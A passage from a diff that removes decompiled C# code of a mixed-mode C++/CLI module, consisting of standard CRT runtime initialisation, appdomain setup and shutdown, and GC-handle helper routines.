do - { - *numPtr = (sbyte) 0; - ++numPtr; - --cnt; - } - while (cnt != 0U); - } - return ptr; - } - - internal static unsafe void PropVariantInit(tagPROPVARIANT* pvar) - { - // ISSUE: initblk instruction - __memset((IntPtr) pvar, 0, 16); - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsInDllMain() => \u003CModule\u003E.__native_dllmain_reason != uint.MaxValue; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsInProcessAttach() => \u003CModule\u003E.__native_dllmain_reason == 1U; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsInProcessDetach() => \u003CModule\u003E.__native_dllmain_reason == 0U; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsInVcclrit() => \u003CModule\u003E.__native_vcclrit_reason != uint.MaxValue; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsSafeForManagedCode() => (\u003CModule\u003E.__native_dllmain_reason != uint.MaxValue ? 1 : 0) == 0 || (\u003CModule\u003E.__native_vcclrit_reason != uint.MaxValue ? 1 : 0) != 0 || \u003CModule\u003E.__native_dllmain_reason != 1U && \u003CModule\u003E.__native_dllmain_reason != 0U; - - internal static unsafe int \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EDoNothing( - void* cookie) - { - GC.KeepAlive((object) int.MaxValue); - return 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EHasPerProcess() - { - if (\u003CModule\u003E.\u003FhasPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A != (TriBool.State) 2) - return \u003CModule\u003E.\u003FhasPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A == (TriBool.State) -1; - void** voidPtr = (void**) &\u003CModule\u003E.\u003FA0xaf140350\u002E__xc_mp_a; - if (ref \u003CModule\u003E.\u003FA0xaf140350\u002E__xc_mp_a < ref \u003CModule\u003E.\u003FA0xaf140350\u002E__xc_mp_z) - { - while (*(int*) voidPtr == 0) - { - voidPtr += 4; - if ((IntPtr) voidPtr >= ref \u003CModule\u003E.\u003FA0xaf140350\u002E__xc_mp_z) - goto label_5; - } - \u003CModule\u003E.\u003FhasPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A = (TriBool.State) -1; - return true; - } -label_5: - \u003CModule\u003E.\u003FhasPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A = (TriBool.State) 0; - return false; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EHasNative() - { - if (\u003CModule\u003E.\u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A != (TriBool.State) 2) - return \u003CModule\u003E.\u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A == (TriBool.State) -1; - void** voidPtr1 = (void**) &\u003CModule\u003E.__xi_a; - if (ref \u003CModule\u003E.__xi_a < ref \u003CModule\u003E.__xi_z) - { - while (*(int*) voidPtr1 == 0) - { - voidPtr1 += 4; - if ((IntPtr) voidPtr1 >= ref \u003CModule\u003E.__xi_z) - goto label_5; - } - \u003CModule\u003E.\u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A = (TriBool.State) -1; - return true; - } -label_5: - void** voidPtr2 = (void**) &\u003CModule\u003E.__xc_a; - if (ref \u003CModule\u003E.__xc_a < ref \u003CModule\u003E.__xc_z) - { - while (*(int*) voidPtr2 == 0) - { - voidPtr2 += 4; - if ((IntPtr) voidPtr2 >= ref \u003CModule\u003E.__xc_z) - goto label_9; - } - \u003CModule\u003E.\u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A = (TriBool.State) -1; - return true; - } -label_9: - \u003CModule\u003E.\u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A = (TriBool.State) 0; - return false; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002ENeedsInitialization() => \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EHasPerProcess() && !\u003CModule\u003E.\u003FInitializedPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA || \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EHasNative() && !\u003CModule\u003E.\u003FInitializedNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA && \u003CModule\u003E.__native_startup_state == (__enative_startup_state) 0; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002ENeedsUninitialization() => \u003CModule\u003E.\u003FEntered\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA; - - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EInitialize() => \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDoCallBackInDefaultDomain((__FnPtr) (IntPtr) \u003CModule\u003E.__unep\u0040\u003FDoNothing\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024FCGJPAX\u0040Z, (void*) 0); - - internal static void \u003FA0xaf140350\u002E\u003F\u003F__E\u003FInitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FInitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA = 0; - - internal static void \u003FA0xaf140350\u002E\u003F\u003F__E\u003FUninitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FUninitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA = 0; - - internal static void \u003FA0xaf140350\u002E\u003F\u003F__E\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA = false; - - internal static void \u003FA0xaf140350\u002E\u003F\u003F__E\u003FInitializedVtables\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FInitializedVtables\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 0; - - internal static void \u003FA0xaf140350\u002E\u003F\u003F__E\u003FInitializedNative\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FInitializedNative\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 0; - - internal static void \u003FA0xaf140350\u002E\u003F\u003F__E\u003FInitializedPerProcess\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FInitializedPerProcess\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 0; - - internal static void \u003FA0xaf140350\u002E\u003F\u003F__E\u003FInitializedPerAppDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FInitializedPerAppDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 0; - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeVtables( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load during vtable initialization.\n"); - \u003CModule\u003E.\u003FInitializedVtables\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 1; - \u003CModule\u003E._initterm_m((__FnPtr*) &\u003CModule\u003E.\u003FA0xaf140350\u002E__xi_vt_a, (__FnPtr*) &\u003CModule\u003E.\u003FA0xaf140350\u002E__xi_vt_z); - \u003CModule\u003E.\u003FInitializedVtables\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 2; - } - - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeDefaultAppDomain( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load while attempting to initialize the default appdomain.\n"); - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EInitialize(); - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeNative( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load during native initialization.\n"); - \u003CModule\u003E.__security_init_cookie(); - \u003CModule\u003E.\u003FInitializedNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = true; - if (!\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsSafeForManagedCode()) - \u003CModule\u003E._amsg_exit(33); - switch (\u003CModule\u003E.__native_startup_state) - { - case (__enative_startup_state) 0: - \u003CModule\u003E.\u003FInitializedNative\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 1; - \u003CModule\u003E.__native_startup_state = (__enative_startup_state) 1; - if (\u003CModule\u003E._initterm_e((__FnPtr*) &\u003CModule\u003E.__xi_a, (__FnPtr*) &\u003CModule\u003E.__xi_z) != 0) - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThrowModuleLoadException(\u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u002EP\u0024AAVString\u0040System\u0040\u0040((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0)); - \u003CModule\u003E._initterm((__FnPtr*) &\u003CModule\u003E.__xc_a, (__FnPtr*) &\u003CModule\u003E.__xc_z); - \u003CModule\u003E.__native_startup_state = (__enative_startup_state) 2; - \u003CModule\u003E.\u003FInitializedNativeFromCCTOR\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = true; - \u003CModule\u003E.\u003FInitializedNative\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 2; - break; - case (__enative_startup_state) 1: - \u003CModule\u003E._amsg_exit(33); - break; - } - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializePerProcess( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load during process initialization.\n"); - \u003CModule\u003E.\u003FInitializedPerProcess\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 1; - \u003CModule\u003E._initatexit_m(); - \u003CModule\u003E._initterm_m((__FnPtr*) &\u003CModule\u003E.\u003FA0xaf140350\u002E__xc_mp_a, (__FnPtr*) &\u003CModule\u003E.\u003FA0xaf140350\u002E__xc_mp_z); - \u003CModule\u003E.\u003FInitializedPerProcess\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 2; - \u003CModule\u003E.\u003FInitializedPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = true; - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializePerAppDomain( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load during appdomain initialization.\n"); - \u003CModule\u003E.\u003FInitializedPerAppDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 1; - \u003CModule\u003E._initatexit_app_domain(); - \u003CModule\u003E._initterm_m((__FnPtr*) &\u003CModule\u003E.\u003FA0xaf140350\u002E__xc_ma_a, (__FnPtr*) &\u003CModule\u003E.\u003FA0xaf140350\u002E__xc_ma_z); - \u003CModule\u003E.\u003FInitializedPerAppDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 2; - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeUninitializer( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load during registration for the unload events.\n"); - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ERegisterModuleUninitializer(new EventHandler(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EDomainUnload)); - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E_Initialize( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA = AppDomain.CurrentDomain.IsDefaultAppDomain(); - if (\u003CModule\u003E.\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA) - \u003CModule\u003E.\u003FEntered\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = true; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDoDllLanguageSupportValidation(); - void* fiberPtrId = \u003CModule\u003E._getFiberPtrId(); - int num1 = 0; - int num2 = 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - while (num2 == 0) - { - try - { - } - finally - { - IntPtr comparand = (IntPtr) 0; - IntPtr num3 = (IntPtr) fiberPtrId; - // ISSUE: cast to a reference type - void* voidPtr = (void*) Interlocked.CompareExchange((IntPtr&) ref \u003CModule\u003E.__native_startup_lock, num3, comparand); - if ((IntPtr) voidPtr == IntPtr.Zero) - num2 = 1; - else if (voidPtr == fiberPtrId) - { - num1 = 1; - num2 = 1; - } - } - if (num2 == 0) - \u003CModule\u003E.Sleep(1000U); - } - if (!\u003CModule\u003E.\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA) - { - if (\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002ENeedsInitialization()) - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeDefaultAppDomain(obj0); - } - } - finally - { - if (num1 == 0) - { - IntPtr num4 = (IntPtr) 0; - // ISSUE: cast to a reference type - Interlocked.Exchange((IntPtr&) ref \u003CModule\u003E.__native_startup_lock, num4); - } - } - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeVtables(obj0); - if (\u003CModule\u003E.\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA) - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeNative(obj0); - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializePerProcess(obj0); - } - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializePerAppDomain(obj0); - \u003CModule\u003E.\u003FInitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA = 1; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeUninitializer(obj0); - } - - internal static void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EUninitializeAppDomain() => \u003CModule\u003E._app_exit_callback(); - - internal static unsafe int \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E_UninitializeDefaultDomain( - void* cookie) - { - \u003CModule\u003E._exit_callback(); - \u003CModule\u003E.\u003FInitializedPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = false; - if (\u003CModule\u003E.\u003FInitializedNativeFromCCTOR\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA) - { - \u003CModule\u003E._cexit(); - \u003CModule\u003E.__native_startup_state = (__enative_startup_state) 0; - \u003CModule\u003E.\u003FInitializedNativeFromCCTOR\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = false; - } - \u003CModule\u003E.\u003FInitializedNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = false; - return 0; - } - - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EUninitializeDefaultDomain() - { - if (!\u003CModule\u003E.\u003FEntered\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA) - return; - if (AppDomain.CurrentDomain.IsDefaultAppDomain()) - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E_UninitializeDefaultDomain((void*) 0); - } - else - { - // ISSUE: cast to a function pointer type - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDoCallBackInDefaultDomain((__FnPtr) (IntPtr) \u003CModule\u003E.__unep\u0040\u003F_UninitializeDefaultDomain\u0040LanguageSupport\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024FCGJPAX\u0040Z, (void*) 0); - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [PrePrepareMethod] - internal static void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EDomainUnload( - object source, - EventArgs arguments) - { - if (\u003CModule\u003E.\u003FInitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA == 0 || Interlocked.Exchange(ref \u003CModule\u003E.\u003FUninitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA, 1) != 0) - return; - int num = Interlocked.Decrement(ref \u003CModule\u003E.\u003FCount\u0040AllDomains\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402HA) == 0 ? 1 : 0; - \u003CModule\u003E._app_exit_callback(); - if ((byte) num == (byte) 0) - return; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EUninitializeDefaultDomain(); - } - - [DebuggerStepThrough] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002ECleanup( - [In] LanguageSupport* obj0, - Exception innerException) - { - try - { - bool flag = Interlocked.Decrement(ref \u003CModule\u003E.\u003FCount\u0040AllDomains\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402HA) == 0; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EUninitializeAppDomain(); - if (!flag) - return; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EUninitializeDefaultDomain(); - } - catch (Exception ex) - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThrowNestedModuleLoadException(innerException, ex); - } - catch - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThrowNestedModuleLoadException(innerException, (Exception) null); - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitialize( - [In] LanguageSupport* obj0) - { - bool flag = false; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load.\n"); - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - Interlocked.Increment(ref \u003CModule\u003E.\u003FCount\u0040AllDomains\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402HA); - flag = true; - } - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E_Initialize(obj0); - } - catch (Exception ex) - { - if (flag) - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002ECleanup(obj0, ex); - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThrowModuleLoadException(\u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u002EP\u0024AAVString\u0040System\u0040\u0040((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0), ex); - } - catch - { - if (flag) - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002ECleanup(obj0, (Exception) null); - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThrowModuleLoadException(\u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u002EP\u0024AAVString\u0040System\u0040\u0040((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0), (Exception) null); - } - } - - [DebuggerStepThrough] - static unsafe \u003CModule\u003E() - { - LanguageSupport languageSupport; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E\u007Bctor\u007D(&languageSupport); - // ISSUE: fault handler - try - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitialize(&languageSupport); - } - __fault - { - // ISSUE: method pointer - // ISSUE: cast to a function pointer type - \u003CModule\u003E.___CxxCallUnwindDtor((__FnPtr) __methodptr(\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E\u007Bdtor\u007D), (void*) &languageSupport); - } - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u007Bdtor\u007D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) &languageSupport); - } - - internal static unsafe LanguageSupport* \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E\u007Bctor\u007D( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u007Bctor\u007D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0); - return obj0; - } - - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E\u007Bdtor\u007D( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u007Bdtor\u007D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0); - } - - [DebuggerStepThrough] - internal static unsafe gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u007Bctor\u007D( - [In] gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* obj0) - { - IntPtr num = (IntPtr) GCHandle.Alloc((object) null); - *(int*) obj0 = (int) num.ToPointer(); - return obj0; - } - - [DebuggerStepThrough] - internal static unsafe void gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u007Bdtor\u007D( - [In] gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* obj0) - { - ((GCHandle) new IntPtr((void*) *(int*) obj0)).Free(); - *(int*) obj0 = 0; - } - - [DebuggerStepThrough] - internal static unsafe gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D( - [In] gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* obj0, - string t) - { - ((GCHandle) new IntPtr((void*) *(int*) obj0)).Target = (object) t; - return obj0; - } - - internal static unsafe string gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u002EP\u0024AAVString\u0040System\u0040\u0040( - [In] gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* obj0) - { - return (string) ((GCHandle) new IntPtr((void*) *(int*) obj0)).Target; - } - - [DebuggerStepThrough] - internal static unsafe ValueType \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_handle() => (IntPtr) \u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0PAXA != IntPtr.Zero ? (ValueType) GCHandle.FromIntPtr(new IntPtr(\u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0PAXA)) : (ValueType) null; - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Construct( - object value) - { - \u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0PAXA = (void*) 0; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Set(value); - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Set( - object value) - { - ValueType valueType = \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_handle(); - if (valueType == null) - \u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0PAXA = GCHandle.ToIntPtr(GCHandle.Alloc(value)).ToPointer(); - else - ((GCHandle) valueType).Target = value; - } - - [DebuggerStepThrough] - internal static object \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Get() - { - ValueType valueType = \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_handle(); - return valueType != null ? ((GCHandle) valueType).Target : (object) null; - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Destruct() - { - ValueType valueType = \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_handle(); - if (valueType == null) - return; - ((GCHandle) valueType).Free(); - \u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0PAXA = (void*) 0; - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EIsInitialized() => 